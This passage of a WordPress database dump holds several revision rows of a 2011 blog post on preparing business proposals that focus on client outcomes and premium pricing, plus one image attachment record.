gig, but command premium pricing as well.  And that’s  as good as it gets.</strong>\n\n</div>', 'The art of preparing proposals that win more business.', 0, '', 'inherit', 'open', 'open', '', '1624-revision', '', '', '2011-06-12 10:41:07', '2011-06-12 17:41:07', '', 1624, 'http://www.whitehotcenter.com/2011/06/12/1624-revision/', 0, 'revision', '', 0),
(1627, 2, '2011-06-12 10:43:46', '2011-06-12 17:43:46', '<h1><img class="alignnone size-full wp-image-1625" title="proposals that win" src="http://whc.fbdev.org/wp-content/uploads/2011/06/win-proposal.jpg" alt="" width="515" height="353" /><span style="color: #808080;">No doubt about it, the proposal  is the main event in your business development activities. Proposals  that win business focus on highly valued outcomes your clients desire,  rather than a detailed outline of your processes and costs.</span></h1>\r\n<div>\r\n\r\nWhatever your business, at some point  in the sales process, you’re going to have to prepare a proposal to your  client in order to close a business deal. Being asked to present a  proposal is the main event of the business development process. All your  previous hard work turning a suspect into a prospect, and then into a  late stage buyer looking for a solution, has come down to this defining  moment–preparing and presenting your proposal.\r\n\r\nThere is no getting around this fact–how well you prepare your  proposals determines how much business you will close. Mastering the art  of proposal preparation is essential to your success. To help you craft  proposals that win business, here are some suggestions you may want to  consider.\r\n<h2><strong>Your purpose in preparing a proposal is to recommend a course  of action that provides a highly valued solution to your client’s  problem–not provide them a price</strong>.</h2>\r\nFor early-stage entrepreneurs, all sales are critical. When asked to  submit a proposal, it’s easy to jump right in and start thinking about  how to win the business offering the cheapest price. Your proposal needs  to focus on the “value of the outcome” to the client–not your process,  your services, or the value of your time.\r\n\r\nWhen prospective clients request a proposal, what they really want is  a solution to their problem. Your client will determine how much value  they place on obtaining the solution, not you.  If the solution is  readily available by lots of providers, clients will most likely place  little value in the solution and obtain it at the lowest price.  That’s  why it’s a good idea to qualify the opportunity!  Before you begin to  prepare a proposal, you need answers to these two important questions:\r\n\r\n<em>Can the client-to-be-afford you?</em>\r\nNo sense wasting your time if the client can’t meet your minimum requirements.\r\n\r\n<em>Are you a good fit for this opportunity?</em>\r\nIf the  opportunity doesn’t represent the type of solutions you are specialized  to provide, or doesn’t enable you to provide the client with your best  high-value thinking at fees that are profitable to your business, you  should pass. Taking work on just to pay bills is a sucker’s game. Your  success in the long run depends on engaging in only those opportunities  you are well suited to pursue, and provide profit to your business.\r\n\r\nOnce you have the right answers to these questions, you may determine  the opportunity worth investing your time and money in preparing a  proposal.  When you are positive and confident that you are the right  fit, your solution is the best, and you will be able to command premium  pricing providing the solution, you’ll already be in a winning frame of  mind as you begin the proposal process.\r\n\r\n<strong>Winning proposals tell a winning story.</strong>\r\n\r\nWinning proposals tell stories about how your solution will best  serve the clients stated needs and desired outcome. It’s not about your  process or your services. Clients don’t care about any of that–they care  about experiencing their desired outcome.  It’s essential to have a  deep understanding of the client’s needs and desires, and what will be  required to fulfill them. The client will perceive your value to them  based on how you will provide desired outcomes not just deliverables.\r\n\r\n<strong>Winning proposals eliminate risk.</strong>\r\n\r\nA prospective client is taking a risk by hiring you. A winning  proposal will share your knowledge and insight in ways that position and  prove you are the “go-to” expert in this solution. To do that, you have  to provide useful knowledge that illuminates and expands the client’s  options or possibilities– that surprises and delights them!\r\n\r\nThen show proof by illustrating how other clients have achieved their  outcomes as a result of doing business with you. Your proposal needs to  instill confidence in their consideration and decision to do business  with you.\r\n\r\n<strong>Winning proposals do not look like you filled in the blanks.</strong>\r\n\r\nIf your business requires consultative sales conversations, it’s  essential that your proposal be highly customized and reflective of the  substance and specifics of those early sales conversations. You won’t  distinguish your value by submitting a proposal that looks like you  plugged your solution into a boilerplate form. Remember your purpose is  providing a unique solution that is highly valued by the client-to-be.  If it’s off the shelf, it’s probably not special or unique, and  consequently perceived as less valuable.\r\n\r\n<strong>Winning proposals are well organized and complete.</strong>\r\n\r\nRegardless of the size of the document, your proposal needs to be  well organized and complete. A winning proposal should include these  components:\r\n\r\n<em>Introduction</em>\r\nThis is your opportunity to state your claim of expertise, and the value you bring to the client. Two paragraphs tops.\r\n\r\n<em>The Clients Desires/Objectives/Outcomes</em>\r\nState your deep  understanding of your clients needs, objectives and desired outcome.  Re-state in “their own words” what the perceived need/ problem is, why  obtaining a solution is important to the client, and what defines a  successful outcome.\r\n\r\n<em>The Project Definition</em>\r\nState all the specific information  that defines the scope and detail of all deliverables and the services  you will provide to complete the assignment.\r\n\r\n<em>Your Proposed Solution</em>\r\nHere’s where compelling  storytelling is critical. This section is not about your process or your  services. This is about communicating the functional and emotional  benefits associated with your proposed solution–what’s in it for them  and how your solution will fulfill their needs and achieve their desired  outcomes. If your solution involves proprietary processes or methods,  outline them here. Just remember to align your process to support the  desires outcome. Every process must be anchored to a desired outcome.\r\n\r\n<em>The Financial Value of the Solution</em>\r\nOutline all the  specific information about your fees and expenses including the time  required for completing the project, and any associated terms or  conditions regarding how you expect to be compensated.\r\n\r\nYour fees should be stated in a range (i.e. $10,000 -$15,000).   You’re stated fee needs to reflect the financial value the client places  on their desired outcome, not how many hours it takes you to deliver.  Do not provide any line item detail to your stated fee. If the client  wants that breakdown in detail, leave that stuff for the “closing”  conversation.\r\n\r\n<em>The Support and Proof of Your Stated Expertise</em>\r\nProvide  short bios featuring the specific qualifications and the individual  experience members of your team assigned to this project will bring to  the party. Hint: it better be the A team. Also include any case studies  that are highly relevant and prove your claims of expertise in solving  the stated problem.\r\n\r\n<em>Appendix</em>\r\nUse this last section to include any process or financial detail that supports the previous content.\r\n\r\n<em>Proposal Acceptance Page</em>\r\nThis final page is where you obtain the clients acceptance to provide your closing contract.\r\n\r\n<strong>Winning proposals present themselves</strong>.\r\n\r\nOf course, it’s always best to present your proposal in person.  However, that’s not always possible or practical. In my business, my  clients may be in a different part of the country. It’s not always  practical for me to present in person, nor is it always desirable to the  client. That’s why your proposal needs to be strong enough to do the  “presenting” without you.\r\n\r\nOften, clients will receive proposals to develop a short list of  candidates. More importantly, decision-makers only meet the finalists.  The proposal is a selling document not a closing document or a contract.  If you make it to the short list, and the client wants a deeper  discussion about your proposal, that’ll be your time to have a closing  conversation. The proposal offers you an opportunity to demonstrate how  you add value not just take their order.\r\n\r\n<strong>Preparing proposals that will win more business is a  thoughtful process. Only invest in the opportunities you are well suited  to pursue. When you tell a compelling story about how you will help  your client achieve the outcome they highly value, chances are, you’ll  not only get the gig, but command premium pricing as well.  And that’s  as good as it gets.</strong>\r\n\r\n</div>', 'The art of preparing proposals that win more business.', 0, '', 'inherit', 'open', 'open', '', '1624-revision-2', '', '', '2011-06-12 10:43:46', '2011-06-12 17:43:46', '', 1624, 'http://www.whitehotcenter.com/2011/06/12/1624-revision-2/', 0, 'revision', '', 0),
(1628, 2, '2011-06-12 10:46:08', '2011-06-12 17:46:08', '', 'winning proposal', 0, '', 'inherit', 'open', 'open', '', 'win-proposal-2', '', '', '2011-06-12 10:46:08', '2011-06-12 17:46:08', '', 1624, 'http://www.whitehotcenter.com/wp-content/uploads/2011/06/win-proposal1.jpg', 0, 'attachment', 'image/jpeg', 0),
(1629, 2, '2011-06-12 10:43:57', '2011-06-12 17:43:57', '<h1><img class="alignnone size-full wp-image-1625" title="proposals that win" src="http://whc.fbdev.org/wp-content/uploads/2011/06/win-proposal.jpg" alt="" width="515" height="353" /><span style="color: #808080;">No doubt about it, the proposal  is the main event in your business development activities. Proposals  that win business focus on highly valued outcomes your clients desire,  rather than a detailed outline of your processes and costs.</span></h1>\r\n<div>\r\n\r\nWhatever your business, at some point  in the sales process, you’re going to have to prepare a proposal to your  client in order to close a business deal. Being asked to present a  proposal is the main event of the business development process. All your  previous hard work turning a suspect into a prospect, and then into a  late stage buyer looking for a solution, has come down to this defining  moment–preparing and presenting your proposal.\r\n\r\nThere is no getting around this fact–how well you prepare your  proposals determines how much business you will close. Mastering the art  of proposal preparation is essential to your success. To help you craft  proposals that win business, here are some suggestions you may want to  consider.\r\n<h2><strong>Your purpose in preparing a proposal is to recommend a course  of action that provides a highly valued solution to your client’s  problem–not provide them a price</strong>.</h2>\r\nFor early-stage entrepreneurs, all sales are critical. When asked to  submit a proposal, it’s easy to jump right in and start thinking about  how to win the business offering the cheapest price. Your proposal needs  to focus on the “value of the outcome” to the client–not your process,  your services, or the value of your time.\r\n\r\nWhen prospective clients request a proposal, what they really want is  a solution to their problem. Your client will determine how much value  they place on obtaining the solution, not you.  If the solution is  readily available by lots of providers, clients will most likely place  little value in the solution and obtain it at the lowest price.  That’s  why it’s a good idea to qualify the opportunity!  Before you begin to  prepare a proposal, you need answers to these two important questions:\r\n\r\n<em>Can the client-to-be-afford you?</em>\r\nNo sense wasting your time if the client can’t meet your minimum requirements.\r\n\r\n<em>Are you a good fit for this opportunity?</em>\r\nIf the  opportunity doesn’t represent the type of solutions you are specialized  to provide, or doesn’t enable you to provide the client with your best  high-value thinking at fees that are profitable to your business, you  should pass. Taking work on just to pay bills is a sucker’s game. Your  success in the long run depends on engaging in only those opportunities  you are well suited to pursue, and provide profit to your business.\r\n\r\nOnce you have the right answers to these questions, you may determine  the opportunity worth investing your time and money in preparing a  proposal.  When you are positive and confident that you are the right  fit, your solution is the best, and you will be able to command premium  pricing providing the solution, you’ll already be in a winning frame of  mind as you begin the proposal process.\r\n\r\n<strong>Winning proposals tell a winning story.</strong>\r\n\r\nWinning proposals tell stories about how your solution will best  serve the clients stated needs and desired outcome. It’s not about your  process or your services. Clients don’t care about any of that–they care  about experiencing their desired outcome.  It’s essential to have a  deep understanding of the client’s needs and desires, and what will be  required to fulfill them. The client will perceive your value to them  based on how you will provide desired outcomes not just deliverables.\r\n\r\n<strong>Winning proposals eliminate risk.</strong>\r\n\r\nA prospective client is taking a risk by hiring you. A winning  proposal will share your knowledge and insight in ways that position and  prove you are the “go-to” expert in this solution. To do that, you have  to provide useful knowledge that illuminates and expands the client’s  options or possibilities– that surprises and delights them!\r\n\r\nThen show proof by illustrating how other clients have achieved their  outcomes as a result of doing business with you. Your proposal needs to  instill confidence in their consideration and decision to do business  with you.\r\n\r\n<strong>Winning proposals do not look like you filled in the blanks.</strong>\r\n\r\nIf your business requires consultative sales conversations, it’s  essential that your proposal be highly customized and reflective of the  substance and specifics of those early sales conversations. You won’t  distinguish your value by submitting a proposal that looks like you  plugged your solution into a boilerplate form. Remember your purpose is  providing a unique solution that is highly valued by the client-to-be.  If it’s off the shelf, it’s probably not special or unique, and  consequently perceived as less valuable.\r\n\r\n<strong>Winning proposals are well organized and complete.</strong>\r\n\r\nRegardless of the size of the document, your proposal needs to be  well organized and complete. A winning proposal should include these  components:\r\n\r\n<em>Introduction</em>\r\nThis is your opportunity to state your claim of expertise, and the value you bring to the client. Two paragraphs tops.\r\n\r\n<em>The Clients Desires/Objectives/Outcomes</em>\r\nState your deep  understanding of your clients needs, objectives and desired outcome.  Re-state in “their own words” what the perceived need/ problem is, why  obtaining a solution is important to the client, and what defines a  successful outcome.\r\n\r\n<em>The Project Definition</em>\r\nState all the specific information  that defines the scope and detail of all deliverables and the services  you will provide to complete the assignment.\r\n\r\n<em>Your Proposed Solution</em>\r\nHere’s where compelling  storytelling is critical. This section is not about your process or your  services. This is about communicating the functional and emotional  benefits associated with your proposed solution–what’s in it for them  and how your solution will fulfill their needs and achieve their desired  outcomes. If your solution involves proprietary processes or methods,  outline them here. Just remember to align your process to support the  desires outcome. Every process must be anchored to a desired outcome.\r\n\r\n<em>The Financial Value of the Solution</em>\r\nOutline all the  specific information about your fees and expenses including the time  required for completing the project, and any associated terms or  conditions regarding how you expect to be compensated.\r\n\r\nYour fees should be stated in a range (i.e. $10,000 -$15,000).   You’re stated fee needs to reflect the financial value the client places  on their desired outcome, not how many hours it takes you to deliver.  Do not provide any line item detail to your stated fee. If the client  wants that breakdown in detail, leave that stuff for the “closing”  conversation.\r\n\r\n<em>The Support and Proof of Your Stated Expertise</em>\r\nProvide  short bios featuring the specific qualifications and the individual  experience members of your team assigned to this project will bring to  the party. Hint: it better be the A team. Also include any case studies  that are highly relevant and prove your claims of expertise in solving  the stated problem.\r\n\r\n<em>Appendix</em>\r\nUse this last section to include any process or financial detail that supports the previous content.\r\n\r\n<em>Proposal Acceptance Page</em>\r\nThis final page is where you obtain the clients acceptance to provide your closing contract.\r\n\r\n<strong>Winning proposals present themselves</strong>.\r\n\r\nOf course, it’s always best to present your proposal in person.  However, that’s not always possible or practical. In my business, my  clients may be in a different part of the country. It’s not always  practical for me to present in person, nor is it always desirable to the  client. That’s why your proposal needs to be strong enough to do the  “presenting” without you.\r\n\r\nOften, clients will receive proposals to develop a short list of  candidates. More importantly, decision-makers only meet the finalists.  The proposal is a selling document not a closing document or a contract.  If you make it to the short list, and the client wants a deeper  discussion about your proposal, that’ll be your time to have a closing  conversation. The proposal offers you an opportunity to demonstrate how  you add value not just take their order.\r\n\r\n<strong>Preparing proposals that will win more business is a  thoughtful process. Only invest in the opportunities you are well suited  to pursue. When you tell a compelling story about how you will help  your client achieve the outcome they highly value, chances are, you’ll  not only get the gig, but command premium pricing as well.  And that’s  as good as it gets.</strong>\r\n\r\n</div>', 'The art of preparing proposals that win more business.', 0, '', 'inherit', 'open', 'open', '', '1624-revision-3', '', '', '2011-06-12 10:43:57', '2011-06-12 17:43:57', '', 1624, 'http://www.whitehotcenter.com/2011/06/12/1624-revision-3/', 0, 'revision', '', 0),
(1630, 2, '2011-06-12 10:46:34', '2011-06-12 17:46:34', '<h1><img class="alignnone size-full wp-image-1628" title="winning proposal" src="http://whc.fbdev.org/wp-content/uploads/2011/06/win-proposal1.jpg" alt="" width="485" height="333" /><span style="color: #808080;">No doubt about it, the proposal  is the main event in your business development activities. Proposals  that win business focus on highly valued outcomes your clients desire,  rather than a detailed outline of your processes and costs.</span></h1>\r\n<div>\r\n\r\nWhatever your business, at some point  in the sales process, you’re going to have to prepare a proposal to your  client in order to close a business deal. Being asked to present a  proposal is the main event of the business development process. All your  previous hard work turning a suspect into a prospect, and then into a  late stage buyer looking for a solution, has come down to this defining  moment–preparing and presenting your proposal.\r\n\r\nThere is no getting around this fact–how well you prepare your  proposals determines how much business you will close. Mastering the art  of proposal preparation is essential to your success. To help you craft  proposals that win business, here are some suggestions you may want to  consider.\r\n<h2><strong>Your purpose in preparing a proposal is to recommend a course  of action that provides a highly valued solution to your client’s  problem–not provide them a price</strong>.</h2>\r\nFor early-stage entrepreneurs, all sales are critical. When asked to  submit a proposal, it’s easy to jump right in and start thinking about  how to win the business offering the cheapest price. Your proposal needs  to focus on the “value of the outcome” to the client–not your process,  your services, or the value of your time.\r\n\r\nWhen prospective clients request a proposal, what they really want is  a solution to their problem. Your client will determine how much value  they place on obtaining the solution, not you.  If the solution is  readily available by lots of providers, clients will most likely place  little value in the solution and obtain it at the lowest price.  That’s  why it’s a good idea to qualify the opportunity!  Before you begin to  prepare a proposal, you need answers to these two important questions:\r\n\r\n<em>Can the client-to-be-afford you?</em>\r\nNo sense wasting your time if the client can’t meet your minimum requirements.\r\n\r\n<em>Are you a good fit for this opportunity?</em>\r\nIf the  opportunity doesn’t represent the type of solutions you are specialized  to provide, or doesn’t enable you to provide the client with your best  high-value thinking at fees that are profitable to your business, you  should pass. Taking work on just to pay bills is a sucker’s game. Your  success in the long run depends on engaging in only those opportunities  you are well suited to pursue, and provide profit to your business.\r\n\r\nOnce you have the right answers to these questions, you may determine  the opportunity worth investing your time and money in preparing a  proposal.  When you are positive and confident that you are the right  fit, your solution is the best, and you will be able to command premium  pricing providing the solution, you’ll already be in a winning frame of  mind as you begin the proposal process.\r\n\r\n<strong>Winning proposals tell a winning story.</strong>\r\n\r\nWinning proposals tell stories about how your solution will best  serve the clients stated needs and desired outcome. It’s not about your  process or your services. Clients don’t care about any of that–they care  about experiencing their desired outcome.  It’s essential to have a  deep understanding of the client’s needs and desires, and what will be  required to fulfill them. The client will perceive your value to them  based on how you will provide desired outcomes not just deliverables.\r\n\r\n<strong>Winning proposals eliminate risk.</strong>\r\n\r\nA prospective client is taking a risk by hiring you. A winning  proposal will share your knowledge and insight in ways that position and  prove you are the “go-to” expert in this solution. To do that, you have  to provide useful knowledge that illuminates and expands the client’s  options or possibilities– that surprises and delights them!\r\n\r\nThen show proof by illustrating how other clients have achieved their  outcomes as a result of doing business with you. Your proposal needs to  instill confidence in their consideration and decision to do business  with you.\r\n\r\n<strong>Winning proposals do not look like you filled in the blanks.</strong>\r\n\r\nIf your business requires consultative sales conversations, it’s  essential that your proposal be highly customized and reflective of the  substance and specifics of those early sales conversations. You won’t  distinguish your value by submitting a proposal that looks like you  plugged your solution into a boilerplate form. Remember your purpose is  providing a unique solution that is highly valued by the client-to-be.  If it’s off the shelf, it’s probably not special or unique, and  consequently perceived as less valuable.\r\n\r\n<strong>Winning proposals are well organized and complete.</strong>\r\n\r\nRegardless of the size of the document, your proposal needs to be  well organized and complete. A winning proposal should include these  components:\r\n\r\n<em>Introduction</em>\r\nThis is your opportunity to state your claim of expertise, and the value you bring to the client. Two paragraphs tops.\r\n\r\n<em>The Clients Desires/Objectives/Outcomes</em>\r\nState your deep  understanding of your clients needs, objectives and desired outcome.  Re-state in “their own words” what the perceived need/ problem is, why  obtaining a solution is important to the client, and what defines a  successful outcome.\r\n\r\n<em>The Project Definition</em>\r\nState all the specific information  that defines the scope and detail of all deliverables and the services  you will provide to complete the assignment.\r\n\r\n<em>Your Proposed Solution</em>\r\nHere’s where compelling  storytelling is critical. This section is not about your process or your  services. This is about communicating the functional and emotional  benefits associated with your proposed solution–what’s in it for them  and how your solution will fulfill their needs and achieve their desired  outcomes. If your solution involves proprietary processes or methods,  outline them here. Just remember to align your process to support the  desires outcome. Every process must be anchored to a desired outcome.\r\n\r\n<em>The Financial Value of the Solution</em>\r\nOutline all the  specific information about your fees and expenses including the time  required for completing the project, and any associated terms or  conditions regarding how you expect to be compensated.\r\n\r\nYour fees should be stated in a range (i.e. $10,000 -$15,000).   You’re stated fee needs to reflect the financial value the client places  on their desired outcome, not how many hours it takes you to deliver.  Do not provide any line item detail to your stated fee. If the client  wants that breakdown in detail, leave that stuff for the “closing”  conversation.\r\n\r\n<em>The Support and Proof of Your Stated Expertise</em>\r\nProvide  short bios featuring the specific qualifications and the individual  experience members of your team assigned to this project will bring to  the party. Hint: it better be the A team. Also include any case studies  that are highly relevant and prove your claims of expertise in solving  the stated problem.\r\n\r\n<em>Appendix</em>\r\nUse this last section to include any process or financial detail that supports the previous content.\r\n\r\n<em>Proposal Acceptance Page</em>\r\nThis final page is where you obtain the clients acceptance to provide your closing contract.\r\n\r\n<strong>Winning proposals present themselves</strong>.\r\n\r\nOf course, it’s always best to present your proposal in person.  However, that’s not always possible or practical. In my business, my  clients may be in a different part of the country. It’s not always  practical for me to present in person, nor is it always desirable to the  client. That’s why your proposal needs to be strong enough to do the  “presenting” without you.\r\n\r\nOften, clients will receive proposals to develop a short list of  candidates. More importantly, decision-makers only meet the finalists.  The proposal is a selling document not a closing document or a contract.  If you make it to the short list, and the client wants a deeper  discussion about your proposal, that’ll be your time to have a closing  conversation. The proposal offers you an opportunity to demonstrate how  you add value not just take their order.\r\n\r\n<strong>Preparing proposals that will win more business is a  thoughtful process. Only invest in the opportunities you are well suited  to pursue. When you tell a compelling story about how you will help  your client achieve the outcome they highly value, chances are, you’ll  not only get the gig, but command premium pricing as well.  And that’s  as good as it gets.</strong>\r\n\r\n</div>', 'The art of preparing proposals that win more business.', 0, '', 'inherit', 'open', 'open', '', '1624-revision-4', '', '', '2011-06-12 10:46:34', '2011-06-12 17:46:34', '', 1624, 'http://www.whitehotcenter.com/2011/06/12/1624-revision-4/', 0, 'revision', '', 0);
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(1631, 2, '2011-06-12 10:46:46', '2011-06-12 17:46:46', '<h1><img class="alignnone size-full wp-image-1628" title="winning proposal" src="http://whc.fbdev.org/wp-content/uploads/2011/06/win-proposal1.jpg" alt="" width="485" height="333" /><span style="color: #808080;">No doubt about it, the proposal  is the main event in your business development activities. Proposals  that win business focus on highly valued outcomes your clients desire,  rather than a detailed outline of your processes and costs.</span></h1>\r\n<div>\r\n\r\nWhatever your business, at some point  in the sales process, you’re going to have to prepare a proposal to your  client in order to close a business deal. Being asked to present a  proposal is the main event of the business development process. All your  previous hard work turning a suspect into a prospect, and then into a  late stage buyer looking for a solution, has come down to this defining  moment–preparing and presenting your proposal.\r\n\r\nThere is no getting around this fact–how well you prepare your  proposals determines how much business you will close. Mastering the art  of proposal preparation is essential to your success. To help you craft  proposals that win business, here are some suggestions you may want to  consider.\r\n<h2><strong>Your purpose in preparing a proposal is to recommend a course  of action that provides a highly valued solution to your client’s  problem–not provide them a price</strong>.</h2>\r\nFor early-stage entrepreneurs, all sales are critical. When asked to  submit a proposal, it’s easy to jump right in and start thinking about  how to win the business offering the cheapest price. Your proposal needs  to focus on the “value of the outcome” to the client–not your process,  your services, or the value of your time.\r\n\r\nWhen prospective clients request a proposal, what they really want is  a solution to their problem. Your client will determine how much value  they place on obtaining the solution, not you.  If the solution is  readily available by lots of providers, clients will most likely place  little value in the solution and obtain it at the lowest price.  That’s  why it’s a good idea to qualify the opportunity!  Before you begin to  prepare a proposal, you need answers to these two important questions:\r\n\r\n<em>Can the client-to-be-afford you?</em>\r\nNo sense wasting your time if the client can’t meet your minimum requirements.\r\n\r\n<em>Are you a good fit for this opportunity?</em>\r\nIf the  opportunity doesn’t represent the type of solutions you are specialized  to provide, or doesn’t enable you to provide the client with your best  high-value thinking at fees that are profitable to your business, you  should pass. Taking work on just to pay bills is a sucker’s game. Your  success in the long run depends on engaging in only those opportunities  you are well suited to pursue, and provide profit to your business.\r\n\r\nOnce you have the right answers to these questions, you may determine  the opportunity worth investing your time and money in preparing a  proposal.  When you are positive and confident that you are the right  fit, your solution is the best, and you will be able to command premium  pricing providing the solution, you’ll already be in a winning frame of  mind as you begin the proposal process.\r\n\r\n<strong>Winning proposals tell a winning story.</strong>\r\n\r\nWinning proposals tell stories about how your solution will best  serve the clients stated needs and desired outcome. It’s not about your  process or your services. Clients don’t care about any of that–they care  about experiencing their desired outcome.  It’s essential to have a  deep understanding of the client’s needs and desires, and what will be  required to fulfill them. The client will perceive your value to them  based on how you will provide desired outcomes not just deliverables.\r\n\r\n<strong>Winning proposals eliminate risk.</strong>\r\n\r\nA prospective client is taking a risk by hiring you. A winning  proposal will share your knowledge and insight in ways that position and  prove you are the “go-to” expert in this solution. To do that, you have  to provide useful knowledge that illuminates and expands the client’s  options or possibilities– that surprises and delights them!\r\n\r\nThen show proof by illustrating how other clients have achieved their  outcomes as a result of doing business with you. Your proposal needs to  instill confidence in their consideration and decision to do business  with you.\r\n\r\n<strong>Winning proposals do not look like you filled in the blanks.</strong>\r\n\r\nIf your business requires consultative sales conversations, it’s  essential that your proposal be highly customized and reflective of the  substance and specifics of those early sales conversations. You won’t  distinguish your value by submitting a proposal that looks like you  plugged your solution into a boilerplate form. Remember your purpose is  providing a unique solution that is highly valued by the client-to-be.  If it’s off the shelf, it’s probably not special or unique, and  consequently perceived as less valuable.\r\n\r\n<strong>Winning proposals are well organized and complete.</strong>\r\n\r\nRegardless of the size of the document, your proposal needs to be  well organized and complete. A winning proposal should include these  components:\r\n\r\n<em>Introduction</em>\r\nThis is your opportunity to state your claim of expertise, and the value you bring to the client. Two paragraphs tops.\r\n\r\n<em>The Clients Desires/Objectives/Outcomes</em>\r\nState your deep  understanding of your clients needs, objectives and desired outcome.  Re-state in “their own words” what the perceived need/ problem is, why  obtaining a solution is important to the client, and what defines a  successful outcome.\r\n\r\n<em>The Project Definition</em>\r\nState all the specific information  that defines the scope and detail of all deliverables and the services  you will provide to complete the assignment.\r\n\r\n<em>Your Proposed Solution</em>\r\nHere’s where compelling  storytelling is critical. This section is not about your process or your  services. This is about communicating the functional and emotional  benefits associated with your proposed solution–what’s in it for them  and how your solution will fulfill their needs and achieve their desired  outcomes. If your solution involves proprietary processes or methods,  outline them here. Just remember to align your process to support the  desires outcome. Every process must be anchored to a desired outcome.\r\n\r\n<em>The Financial Value of the Solution</em>\r\nOutline all the  specific information about your fees and expenses including the time  required for completing the project, and any associated terms or  conditions regarding how you expect to be compensated.\r\n\r\nYour fees should be stated in a range (i.e. $10,000 -$15,000).   You’re stated fee needs to reflect the financial value the client places  on their desired outcome, not how many hours it takes you to deliver.  Do not provide any line item detail to your stated fee. If the client  wants that breakdown in detail, leave that stuff for the “closing”  conversation.\r\n\r\n<em>The Support and Proof of Your Stated Expertise</em>\r\nProvide  short bios featuring the specific qualifications and the individual  experience members of your team assigned to this project will bring to  the party. Hint: it better be the A team. Also include any case studies  that are highly relevant and prove your claims of expertise in solving  the stated problem.\r\n\r\n<em>Appendix</em>\r\nUse this last section to include any process or financial detail that supports the previous content.\r\n\r\n<em>Proposal Acceptance Page</em>\r\nThis final page is where you obtain the clients acceptance to provide your closing contract.\r\n\r\n<strong>Winning proposals present themselves</strong>.\r\n\r\nOf course, it’s always best to present your proposal in person.  However, that’s not always possible or practical. In my business, my  clients may be in a different part of the country. It’s not always  practical for me to present in person, nor is it always desirable to the  client. That’s why your proposal needs to be strong enough to do the  “presenting” without you.\r\n\r\nOften, clients will receive proposals to develop a short list of  candidates. More importantly, decision-makers only meet the finalists.  The proposal is a selling document not a closing document or a contract.  If you make it to the short list, and the client wants a deeper  discussion about your proposal, that’ll be your time to have a closing  conversation. The proposal offers you an opportunity to demonstrate how  you add value not just take their order.\r\n\r\n<strong>Preparing proposals that will win more business is a  thoughtful process. Only invest in the opportunities you are well suited  to pursue. When you tell a compelling story about how you will help  your client achieve the outcome they highly value, chances are, you’ll  not only get the gig, but command premium pricing as well.  And that’s  as good as it gets.</strong>\r\n\r\n</div>', 'The art of preparing proposals that win more business.', 0, '', 'inherit', 'open', 'open', '', '1624-revision-5', '', '', '2011-06-12 10:46:46', '2011-06-12 17:46:46', '', 1624, 'http://www.whitehotcenter.com/2011/06/12/1624-revision-5/', 0, 'revision', '', 0),
(1632, 2, '2011-06-12 10:48:44', '2011-06-12 17:48:44', '<h1><img class="alignnone size-full wp-image-1628" title="winning proposal" src="http://whc.fbdev.org/wp-content/uploads/2011/06/win-proposal1.jpg" alt="" width="485" height="333" /><span style="color: #808080;">No doubt about it, the proposal  is the main event in your business development activities. Proposals  that win business focus on highly valued outcomes your clients desire,  rather than a detailed outline of your processes and costs.</span></h1>\r\n<div>\r\n\r\nWhatever your business, at some point  in the sales process, you’re going to have to prepare a proposal to your  client in order to close a business deal. Being asked to present a  proposal is the main event of the business development process. All your  previous hard work turning a suspect into a prospect, and then into a  late stage buyer looking for a solution, has come down to this defining  moment–preparing and presenting your proposal.\r\n\r\nThere is no getting around this fact–how well you prepare your  proposals determines how much business you will close. Mastering the art  of proposal preparation is essential to your success. To help you craft  proposals that win business, here are some suggestions you may want to  consider.\r\n<h2><strong>Your purpose in preparing a proposal is to recommend a course  of action that provides a highly valued solution to your client’s  problem–not provide them a price</strong>.</h2>\r\nFor early-stage entrepreneurs, all sales are critical. When asked to  submit a proposal, it’s easy to jump right in and start thinking about  how to win the business offering the cheapest price. Your proposal needs  to focus on the “value of the outcome” to the client–not your process,  your services, or the value of your time.\r\n\r\nWhen prospective clients request a proposal, what they really want is  a solution to their problem. Your client will determine how much value  they place on obtaining the solution, not you.  If the solution is  readily available by lots of providers, clients will most likely place  little value in the solution and obtain it at the lowest price.  That’s  why it’s a good idea to qualify the opportunity!  Before you begin to  prepare a proposal, you need answers to these two important questions:\r\n\r\n<strong><em>Can the client-to-be-afford you?</em></strong>\r\nNo sense wasting your time if the client can’t meet your minimum requirements.\r\n\r\n<strong><em>Are you a good fit for this opportunity?</em></strong>\r\nIf the  opportunity doesn’t represent the type of solutions you are specialized  to provide, or doesn’t enable you to provide the client with your best  high-value thinking at fees that are profitable to your business, you  should pass. Taking work on just to pay bills is a sucker’s game. Your  success in the long run depends on engaging in only those opportunities  you are well suited to pursue, and provide profit to your business.\r\n\r\nOnce you have the right answers to these questions, you may determine  the opportunity worth investing your time and money in preparing a  proposal.  When you are positive and confident that you are the right  fit, your solution is the best, and you will be able to command premium  pricing providing the solution, you’ll already be in a winning frame of  mind as you begin the proposal process.\r\n\r\n<strong>Winning proposals tell a winning story.</strong>\r\n\r\nWinning proposals tell stories about how your solution will best  serve the clients stated needs and desired outcome. It’s not about your  process or your services. Clients don’t care about any of that–they care  about experiencing their desired outcome.  It’s essential to have a  deep understanding of the client’s needs and desires, and what will be  required to fulfill them. The client will perceive your value to them  based on how you will provide desired outcomes not just deliverables.\r\n\r\n<strong>Winning proposals eliminate risk.</strong>\r\n\r\nA prospective client is taking a risk by hiring you. A winning  proposal will share your knowledge and insight in ways that position and  prove you are the “go-to” expert in this solution. To do that, you have  to provide useful knowledge that illuminates and expands the client’s  options or possibilities– that surprises and delights them!\r\n\r\nThen show proof by illustrating how other clients have achieved their  outcomes as a result of doing business with you. Your proposal needs to  instill confidence in their consideration and decision to do business  with you.\r\n\r\n<strong>Winning proposals do not look like you filled in the blanks.</strong>\r\n\r\nIf your business requires consultative sales conversations, it’s  essential that your proposal be highly customized and reflective of the  substance and specifics of those early sales conversations. You won’t  distinguish your value by submitting a proposal that looks like you  plugged your solution into a boilerplate form. Remember your purpose is  providing a unique solution that is highly valued by the client-to-be.  If it’s off the shelf, it’s probably not special or unique, and  consequently perceived as less valuable.\r\n\r\n<strong>Winning proposals are well organized and complete.</strong>\r\n\r\nRegardless of the size of the document, your proposal needs to be  well organized and complete. A winning proposal should include these  components:\r\n\r\n<em>Introduction</em>\r\nThis is your opportunity to state your claim of expertise, and the value you bring to the client. Two paragraphs tops.\r\n\r\n<em>The Clients Desires/Objectives/Outcomes</em>\r\nState your deep  understanding of your clients needs, objectives and desired outcome.  Re-state in “their own words” what the perceived need/ problem is, why  obtaining a solution is important to the client, and what defines a  successful outcome.\r\n\r\n<em>The Project Definition</em>\r\nState all the specific information  that defines the scope and detail of all deliverables and the 